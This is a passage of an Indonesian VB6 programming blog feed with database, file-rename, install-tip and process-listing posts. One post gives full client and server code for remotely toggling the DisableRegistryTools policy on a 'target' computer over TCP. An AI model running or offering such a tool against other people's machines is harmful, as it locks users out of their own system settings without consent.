yellow;"&gt;'Bersihkan&lt;/span&gt;&lt;br /&gt;    ADOXcat.ActiveConnection.Close&lt;br /&gt;    Set ADOXcat = Nothing&lt;br /&gt;    Set MStbl = Nothing&lt;br /&gt;    Set MScol = Nothing&lt;br /&gt;    Set Xconx = Nothing&lt;br /&gt;    Set Xcmd = Nothing&lt;br /&gt;    Set Xrs = Nothing&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;10. Hapus Semua Record Dalam Tabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 100px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command13_Click()&lt;br /&gt;    db.Execute "DELETE FROM TBLsiswalogin"&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;11. Hapus Tabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command14_Click()&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Tambahkan references Microsoft DAO 3.6 Object Library atau versi lebih tinggi&lt;br /&gt;&lt;/span&gt;    Dim ConMateri As Database, AdoDao%&lt;br /&gt;    Set ConMateri = OpenDatabase(App.Path &amp;amp; "\DBPembelajaran.MDB", False, False, "MS Access;Pwd=dbpwd")&lt;br /&gt;    Dim TbDef As TableDefs&lt;br /&gt;    Set TbDef = ConMateri.TableDefs&lt;br /&gt;    ConMateri.TableDefs.Delete "NamaTabelYangAkanDiHapus"&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-2767966886673874853?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/2767966886673874853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2011/05/serpihan-kode-databse-database-flakes.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/2767966886673874853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/2767966886673874853'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2011/05/serpihan-kode-databse-database-flakes.html' title='Serpihan Kode Database Access'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8746476016932231591</id><published>2011-01-17T11:23:00.002+07:00</published><updated>2011-04-11T13:44:43.396+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basic'/><title type='text'>Rename File Atau Folder</title><content type='html'>Hai... Ini ada sedikit Source Code untuk Rename File Folder, Posting ini termotivasi dari Pertanyaan Anggota Grup &lt;a href="http://www.facebook.com/group.php?gid=53078489270" target="_blank"&gt;Programer VB Indonesia&lt;/a&gt;.&lt;br /&gt;Langsung saja ini codenya, Semoga bermanfaat.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long&lt;br /&gt;Private Type SHFILEOPSTRUCT&lt;br /&gt;    hwnd As Long&lt;br /&gt;    wFunc As Long&lt;br /&gt;    pFrom As String&lt;br /&gt;    pTo As String&lt;br /&gt;    fFlags As Integer&lt;br /&gt;    fAborted As Boolean&lt;br /&gt;    hNameMaps As Long&lt;br /&gt;    sProgress As String&lt;br /&gt;End Type&lt;br /&gt; Const FO_DELETE = &amp;amp;H3&lt;br /&gt; Const FO_RENAME = &amp;amp;H4&lt;br /&gt; Const FO_COPY = &amp;amp;H2&lt;br /&gt;&lt;br /&gt;Sub RenameFile()&lt;br /&gt;Dim NewFileName As String&lt;br /&gt;Dim TitleFile&lt;br /&gt;Dim PathFile&lt;br /&gt;'On Error Resume Next&lt;br /&gt;TitleFile = "Baru"&lt;br /&gt;PathFile = "D:\Lama"&lt;br /&gt;NewFileName = InputBox("Are you sure want rename File " &amp;amp; """" &amp;amp; TitleFile &amp;amp; """?", _&lt;br /&gt;        "Rename File", PathFile)&lt;br /&gt;Dim SHDirOp As SHFILEOPSTRUCT&lt;br /&gt;    With SHDirOp&lt;br /&gt;        .wFunc = FO_RENAME&lt;br /&gt;        .pFrom = "D:\BARU"&lt;br /&gt;        .pTo = NewFileName&lt;br /&gt;    End With&lt;br /&gt;SHFileOperation SHDirOp&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    RenameFile&lt;br /&gt;End Sub&lt;br /&gt; &lt;/pre&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-8746476016932231591?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/8746476016932231591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2011/01/rename-file-atau-folder.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8746476016932231591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8746476016932231591'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2011/01/rename-file-atau-folder.html' title='Rename File Atau Folder'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-4514115529383797736</id><published>2010-12-21T12:59:00.002+07:00</published><updated>2010-12-25T23:34:36.963+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basic'/><title type='text'>Basic Client - Server</title><content type='html'>&lt;span style="background-color: white;"&gt;&lt;/span&gt;Beberapa hari lalu ada teman yang menulis komentar pada postingan &lt;a href="http://vbasiccode.blogspot.com/2010/08/remote-desktop-pengontrol-komputer.html"&gt;Remote Desktop - Pengontrol Komputer Orang Lain&lt;/a&gt; ,dia mendapat tugas untuk membuat aplikasi Client-Server yang fungsi aplikasi tersebut adalah untuk mengontrol Sistem Registry komputer target. Untuk memenuhi pertanyaan teman tersebut serta mengupdate Blog ini maka jawabannya saya tulis dalam bentuk postingan..&lt;br /&gt;Langsung saja ini screenshot dan kodenya.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_48czvH0DaKc/TQ-cqYEuijI/AAAAAAAAAXg/BP0lfufP-1I/s1600/Client-Server.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="305" src="http://3.bp.blogspot.com/_48czvH0DaKc/TQ-cqYEuijI/AAAAAAAAAXg/BP0lfufP-1I/s400/Client-Server.png" width="400" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;u&gt;&lt;b&gt;&amp;nbsp;Langkah Pembuatan Project&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Buat dua buah project, yaitu Project Client dan Project Server.&lt;/li&gt;&lt;li&gt;Untuk Project Client terdiri atas 3 CommandButton, 1 Text untuk menampung IP Address komputer target (server), 1 label info koneksi&amp;nbsp; dan 1 Component Microsoft Winsock Control 6.0.&lt;i&gt; Lebih jelasnya lihat gambar di atas. &lt;/i&gt;&lt;/li&gt;&lt;li&gt;UntukProject Server cukup 1 label info dan 1 Component Microsoft Winsock Control 6.0. &lt;/li&gt;&lt;/ol&gt;&lt;div style="background-color: black; color: yellow;"&gt;Copy Paste Code dibawah ini pada form Project Client.&lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;'panggil URL&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;Private Const conSwNormal = 1&lt;br /&gt;&lt;br /&gt;Private Sub ConnectToServer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.Connect Text1.Text, 2010&lt;br /&gt;End Sub&lt;br /&gt;Private Sub DisConnectToServer()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.Close&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Command1.Caption = "Connect" Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ConnectToServer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf Command1.Caption = "Disconnect" Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DisConnectToServer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command1.Caption = "Connect"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command2.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command3.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Belum Konek Server..."&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp; WscClient.SendData "enablereg"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.SendData "disablereg"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.Protocol = sckTCPProtocol&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label1_Click()&lt;br /&gt;ShellExecute hwnd, "open", "Http://vbasiccode.blogspot.com", vbNullString, vbNullString, conSwNormal&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label2_Click()&lt;br /&gt;ShellExecute hwnd, "open", "http://vbasiccode.blogspot.com/2010/04/tutorial-ptc.html", vbNullString, vbNullString, conSwNormal&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label3_Click()&lt;br /&gt;ShellExecute hwnd, "open", "http://www.facebook.com/OutOfStack", vbNullString, vbNullString, conSwNormal&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WscClient_Close()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command1.Caption = "Connect"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command2.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command3.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Aplikasi Server Ditutup..."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WscClient_Connect()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Terkoneksi dengan Server"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command2.Enabled = True&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command3.Enabled = True&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command1.Caption = "Disconnect"&lt;br /&gt;End Sub&lt;br /&gt;Private Sub WscClient_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;Dim date_primite As String&lt;br /&gt;Dim Vector() As String&lt;br /&gt;WscClient.GetData date_primite&lt;br /&gt;Vector = Split(date_primite, "|")&lt;br /&gt;&lt;br /&gt;Select Case Vector(0)&lt;br /&gt;&lt;br /&gt;Case "laporan"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MsgBox Vector(1)&lt;br /&gt;End Select&lt;br /&gt;&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;/br&gt;&lt;br /&gt;&lt;div style="background-color: black; color: yellow;"&gt;Copy Paste Code dibawah ini pada form Project Server.&lt;/div&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Form_Load()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.LocalPort = 2010&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Listen&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_Close()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Listen&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Koneksi ditutup Client..."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_ConnectionRequest(ByVal requestID As Long)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Accept requestID&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Terkoneksi dengan client..."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim date_primite As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim Vector() As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim regrun&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set regrun = CreateObject("WScript.Shell")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.GetData date_primite&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Vector = Split(date_primite, "|")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select Case Vector(0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case "disablereg"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.SendData "laporan|" + "Laporan dari Server:""Registry Server tidak dapat dibuka."""&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case "enablereg"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.SendData "laporan|" + "Laporan dari Server: ""Registry Server sudah dapat dibuka kembali."""&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; End Select&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Listen&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Silahkan Download&amp;nbsp;&lt;a href="http://www.ziddu.com/download/13062845/BasicRemoteDesktop.rar.html"&gt;BasicRemoteDesktop.rar&lt;/a&gt; &lt;br /&gt;Aplikasi dibuat di windows XP dan jika dijalankan di Windows 7 maka klik kanan dan jalankan aplikasi sebagai Administrator. &lt;br /&gt;Semoga bermanfaat..Amin.&lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;ol&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-4514115529383797736?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/4514115529383797736/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/12/basic-client-server.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/4514115529383797736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/4514115529383797736'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/12/basic-client-server.html' title='Basic Client - Server'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_48czvH0DaKc/TQ-cqYEuijI/AAAAAAAAAXg/BP0lfufP-1I/s72-c/Client-Server.png' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-5701610655216573468</id><published>2010-12-07T22:59:00.001+07:00</published><updated>2010-12-07T23:18:49.445+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Tips Instalasi Visual Basic 6.0 di Windows 7</title><content type='html'>Setelah lama malas tidak otak-atik VB 6.0 karena setelah VB 6.0 diinstal di windows 7 tampilan/komposisi dari layar acak-acakan maka malam ini aktifitas otak-atik dimulai lagi, ternyata tips untuk mengatasi hal tersebut simpel dan semoga dalam otak-atik nanti tidak mengalami gangguan compatible dengan windows 7 ultimate.&lt;br /&gt;Langsung saja Tips Instalasi VB 6.0 di Windows 7 :&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;1. Buka folder Visual Basic &lt;br /&gt;2. Cari file setup.exe&lt;br /&gt;3. Klik kanan setup.exe dan pilih Properties&lt;br /&gt;4. Sesuaikan Properties File setup.exe dengan gambar di bawah ini :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_48czvH0DaKc/TP5XDICIB7I/AAAAAAAAAXM/3bjubLxrlyk/s1600/PropertiesSetup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/_48czvH0DaKc/TP5XDICIB7I/AAAAAAAAAXM/3bjubLxrlyk/s400/PropertiesSetup.png" width="362" /&gt;&lt;/a&gt;&lt;/div&gt;5. Setelah selesai lakukan Instalasi seperti biasa, dan jika muncul peringatan seperti gambar di bawah ini klik Run Program.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/TP5X5lZd4OI/AAAAAAAAAXU/eU07nWFkshY/s1600/RunProgram.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="186" src="http://4.bp.blogspot.com/_48czvH0DaKc/TP5X5lZd4OI/AAAAAAAAAXU/eU07nWFkshY/s400/RunProgram.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;6. Setelah selesai silahkan buka Project maka tampilan/komposisi layar Visual Basic sudah tidak acak-acakan lagi dan kembali seperti tampilan Windows XP SP 2, karena pada properties Setup.exe Tab Compability kita telah mencentang Disable Visual Themes, Disable Desktop Composition, Disable Display Scaling on high DPI Settings dan juga Run As Administrator.&lt;br /&gt;7. Semoga bermanfaat.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-5701610655216573468?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/5701610655216573468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/12/tips-instalasi-visual-basic-60-di.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/5701610655216573468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/5701610655216573468'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/12/tips-instalasi-visual-basic-60-di.html' title='Tips Instalasi Visual Basic 6.0 di Windows 7'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_48czvH0DaKc/TP5XDICIB7I/AAAAAAAAAXM/3bjubLxrlyk/s72-c/PropertiesSetup.png' height='72' width='72'/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-3124526266646033226</id><published>2010-09-07T01:03:00.005+07:00</published><updated>2010-12-25T23:56:28.843+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><category scheme='http://www.blogger.com/atom/ns#' term='FileFolderFunction'/><category scheme='http://www.blogger.com/atom/ns#' term='Basic'/><title type='text'>Path Windows Proccess</title><content type='html'>Kadang pada saat membuat aplikasi yang berhubungan dengan keamanan suatu system windows maka diperlukan suatu progran yang dapat mendeteksi alamat/path suatu file yang sedang berjalan/melakukakan proses di windows... apakah file target tersebut akan ditutup prosesnya ataukah akan dihapus.&lt;br /&gt;Kali ini kita hanya akan membuat suatu program yang berfungsi untuk mengetahui alamat/path suatu file yang sedang berjalan berdasarkan Process ID (PID) file tersebut, jika lebih kreaatif tentu nanti dapat ditambahkan fungsi-fungsi "Protector" lainnya misalkan menutup/close file, mendapatkan sign/tanda crc32 file tersebut atau juga dapat menghapus file tersebut dari konputer kita. Langsung saja ini source codenya... &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_48czvH0DaKc/TIUpaL9REgI/AAAAAAAAAXI/9qnlyKe65EQ/s1600/PathWinProccess.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="337" src="http://3.bp.blogspot.com/_48czvH0DaKc/TIUpaL9REgI/AAAAAAAAAXI/9qnlyKe65EQ/s400/PathWinProccess.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Masukkan source code ini pada form..&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="  margin: 0px;  padding: 3px;  border: 1px inset;  width: 500px;  height: 498px;  text-align: left;  overflow: auto"&gt;&lt;span style="font-size: x-small;"&gt;Private Sub CmdRefresh_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Timer1.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command1_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmAbout.Show&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Load()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Unload(Cancel As Integer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub ListProsesAktif_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.Selected(ListProsesAktif.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.ListIndex = ListProsesAktif.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblFileProcess.Caption = " " &amp;amp; PathByPID(LstIDProcess.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim tell As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;tell = ListProsesAktif.ListIndex + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = tell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Timer1.Enabled = False Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 